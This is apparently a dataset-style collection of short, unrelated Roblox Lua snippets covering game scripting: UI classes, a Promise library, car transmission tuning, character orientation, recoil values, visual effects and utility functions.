weld.C1 = parts[i].CFrame:inverse()
weld.Parent = prev
end
prev = parts[i]
end
end
|
-- Seats
|
local Seat1 = Swing:WaitForChild("Seat1")
local Seat2 = Swing:WaitForChild("Seat2")
|
-- Public Methods
|
function RadioButtonLabelClass:GetValue()
return self.Button.Circle.Visible
end
function RadioButtonLabelClass:SetValue(bool)
bool = not not bool
local container = self.Frame.RadioContainer
local colorA = container.BorderColor3
local colorB = container.BackgroundColor3
container.Outline.ImageColor3 = bool and colorA or colorB
container.RadioButton.Circle.Visible = bool
end
function RadioButtonLabelClass:Destroy()
self._Maid:Sweep()
self.Frame:Destroy()
end
|
-- By Dominical -- Sep 13, 2014
-- Put this script inside of a light source such as a PointLight or SpotLight
|
while true do
script.Parent.Enabled=true
wait(math.random(2))
script.Parent.Enabled=false
wait(0.1)
end
|
--------------------------------------
-- List of named places in the game
|
local _places = {
lobby = 6976592727,
gameplay_development = 6976597627,
queue_default = 6976598505,
queue_deathmatch = 6976598627,
queue_teamDeathmatch = 6976598747,
queue_freePlay = 6976598856
}
|
-- Use the character attribute (updated by the server) as the source of truth for body orientation
-- Intended to be used for replicated characters
|
function OrientableBody:useAttributeAsSource()
self:orientFromAttribute()
self.attributeConnection = self.character:GetAttributeChangedSignal(ATTRIBUTE):Connect(function()
self:orientFromAttribute()
end)
end
function OrientableBody:destroy()
self:applyAngle(self.neck, 0, 0)
self:applyAngle(self.waist, 0, 0)
if self.motor then
self.motor:destroy()
self.motor = nil
end
if self.attributeConnection then
self.attributeConnection:Disconnect()
self.attributeConnection = nil
end
if self.renderStepConnection then
self.renderStepConnection:Disconnect()
self.renderStepConnection = nil
end
end
return OrientableBody
|
--s.Pitch = 0.7
--s.Pitch = 0.7
|
while true do
while s.Pitch<1.21 do
s.Pitch=s.Pitch+0.010
s:Play()
if s.Pitch>1.21 then
s.Pitch=1.21
end
wait(0.001)
end
|
--[[Transmission]]
|
Tune.TransModes = {"Auto"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev)
Tune.ShiftTime = .3 -- The time delay in which you initiate a shift and the car changes gear
--Gear Ratios
Tune.FinalDrive = 0.8 -- [TRANSMISSION CALCULATIONS FOR NERDS]
Tune.Ratios = { -- SPEED [SPS] = (Wheel diameter(studs) * math.pi * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
--[[ R ]] 18.641 ,-- WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
--[[ N ]] 0 ,
--[[ 1 ]] 16.641 ,
--[[ 2 ]] 12.342 ,
--[[ 3 ]] 9.812 ,
--[[ 4 ]] 7.765 ,
--[[ 5 ]] 6.272
}
Tune.FDMult = 1 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
|
--[[
Sets the given emote as locked for the given Player.
]]
|
local function lockEmote(runService, emoteManager, changeEmoteLock)
if runService:IsServer() then
return function(player: Player, emoteName: string): nil
assert(t.string(emoteName))
emoteManager:setEmoteIsLockedForPlayer(player, emoteName, true)
end
else
-- Calling lockEmote from the client is deprecated. To preserve
-- backwards compatibility, a remote event is fired to the new server
-- side lockEmote function
return function(emoteName: string): nil
warn("Calling lockEmote from the client is deprecated. Please call from a server Script instead.")
changeEmoteLock:FireServer(emoteName, true)
end
end
end
return lockEmote
|
-- if not gameRules.SpawnStacking then
-- spawner.CurrentGun.Value = newGun
| |
--[=[
Pseudo localizes text. Useful for verifying translation without having
actual translations available
@class PseudoLocalize
]=]
|
local PseudoLocalize = {}
local DEFAULT_PSEUDO_LOCALE_ID = "qlp-pls"
|
-- Class
|
local DropdownClass = {}
DropdownClass.__index = DropdownClass
DropdownClass.__type = "Dropdown"
function DropdownClass:__tostring()
return DropdownClass.__type
end
|
--//Variables
|
local owner = script.Parent.OwnerName
local door = script.Parent
local prompt = script.Parent.OpenClose
local rentprompt = script.Parent.Rent
local Player = game.Players.LocalPlayer
local door2 = script.Parent.Parent.Door2
|
--[[
Intended for use in tests.
Similar to await(), but instead of yielding if the promise is unresolved,
_unwrap will throw. This indicates an assumption that a promise has
resolved.
]]
|
function Promise.prototype:_unwrap()
if self._status == Promise.Status.Started then
error("Promise has not resolved or rejected.", 2)
end
local success = self._status == Promise.Status.Resolved
return success, unpack(self._values, 1, self._valuesLength)
end
function Promise.prototype:_resolve(...)
if self._status ~= Promise.Status.Started then
if Promise.is((...)) then
(...):_consumerCancelled(self)
end
return
end
-- If the resolved value was a Promise, we chain onto it!
if Promise.is((...)) then
-- Without this warning, arguments sometimes mysteriously disappear
if select("#", ...) > 1 then
local message = (
"When returning a Promise from andThen, extra arguments are " ..
"discarded! See:\n\n%s"
):format(
self._source
)
warn(message)
end
local promise = (...):andThen(
function(...)
self:_resolve(...)
end,
function(...)
self:_reject(...)
end
)
if promise._status == Promise.Status.Cancelled then
self:cancel()
elseif promise._status == Promise.Status.Started then
-- Adopt ourselves into promise for cancellation propagation.
self._parent = promise
promise._consumers[self] = true
end
return
end
self._status = Promise.Status.Resolved
self._valuesLength, self._values = pack(...)
-- We assume that these callbacks will not throw errors.
for _, callback in ipairs(self._queuedResolve) do
callback(...)
end
self:_finalize()
end
function Promise.prototype:_reject(...)
if self._status ~= Promise.Status.Started then
return
end
self._status = Promise.Status.Rejected
self._valuesLength, self._values = pack(...)
-- If there are any rejection handlers, call those!
if not isEmpty(self._queuedReject) then
-- We assume that these callbacks will not throw errors.
for _, callback in ipairs(self._queuedReject) do
callback(...)
end
else
-- At this point, no one was able to observe the error.
-- An error handler might still be attached if the error occurred
-- synchronously. We'll wait one tick, and if there are still no
-- observers, then we should put a message in the console.
local err = tostring((...))
spawn(function()
-- Someone observed the error, hooray!
if not self._unhandledRejection then
return
end
-- Build a reasonable message
local message = ("Unhandled promise rejection:\n\n%s\n\n%s"):format(
err,
self._source
)
warn(message)
end)
end
self:_finalize()
end
|
--Playing the revive animation locally works a lot better than playing it server side
|
function game.ReplicatedStorage.RemoteFunctions.ReviveAnimation.OnClientInvoke(bodyPartsLocationTable, lastBranch)
local respawnPosition = player.Character.Torso.CFrame
for i = 1, #bodyPartsLocationTable["Head"] do
if lastBranch ~= nil then
if player.Character.Torso.Position.Z > lastBranch then
break
end
end
game:GetService("RunService").RenderStepped:wait()
for key, value in pairs(bodyPartsLocationTable) do
if player.Character:FindFirstChild(key) then
if value[i] then
player.Character[key].CFrame = value[i]
end
end
end
respawnPosition = player.Character.Torso.CFrame
end
player.Character:Destroy()
return respawnPosition
end
|
--[=[
Maps a number from one range to another.
:::note
Note the mapped value can be outside of the initial range,
which is very useful for linear interpolation.
:::
```lua
print(Math.map(0.1, 0, 1, 1, 0)) --> 0.9
```
@param num number
@param min0 number
@param max0 number
@param min1 number
@param max1 number
@return number
]=]
|
function Math.map(num: number, min0: number, max0: number, min1: number, max1: number): number
if max0 == min0 then
error("Range of zero")
end
return (((num - min0)*(max1 - min1)) / (max0 - min0)) + min1
end
|
--[[ @brief Returns the smallest element in the heap.
@return The smallest element in the heap (using the stored comparator function).
--]]
|
function Heap:Top()
return self[1];
end
|
--// Recoil Settings
|
gunrecoil = -0.3;
camrecoil = 0.3;
AimGunRecoil = -0.4;
AimCamRecoil = 0.2;
Kickback = 3;
AimKickback = 0.8;
|
--!strict
--[=[
@function findLast
@within Array
@param array {T} -- The array to search.
@param value? any -- The value to search for.
@param from? number -- The index to start searching from.
@return number? -- The index of the last item in the array that matches the value.
Finds the index of the last item in the array that matches the value.
```lua
local array = { "hello", "world", "hello" }
local index = FindLast(array, "hello") -- 3
local index = FindLast(array, "hello", 2) -- 1
```
]=]
|
local function findLast<T>(array: { T }, value: any?, from: number?): number?
local length = #array
from = if type(from) == "number" then if from < 1 then length + from else from else length
for index = from, 1, -1 do
if array[index] == value then
return index
end
end
return
end
return findLast
|
-- constants
|
local PLAYER = Players.LocalPlayer
local ELECTROCUTE_AMOUNT = 2
local VELOCITY_AMOUNT = 10
return function(character)
local effects = character.Effects
local parts = {}
for _, v in pairs(character:GetChildren()) do
if v:IsA("BasePart") and v.Transparency ~= 1 then
table.insert(parts, v)
local rate = math.floor((v.Size.X + v.Size.Y + v.Size.Z) * ELECTROCUTE_AMOUNT)
local emitter1 = script.ElectricityEmitter1:Clone()
emitter1.Rate = rate
emitter1.Parent = v
local emitter2 = script.ElectricityEmitter2:Clone()
emitter2.Rate = rate
emitter2.Parent = v
end
end
for i = 1, 100 do
for _, v in pairs(parts) do
v.RotVelocity = Vector3.new(math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT), math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT), math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT))
end
wait(0.1)
end
end
|
-- Assign hotkeys for redoing (left or right shift + Y)
|
AssignHotkey({ 'LeftShift', 'Y' }, History.Redo);
AssignHotkey({ 'RightShift', 'Y' }, History.Redo);
|
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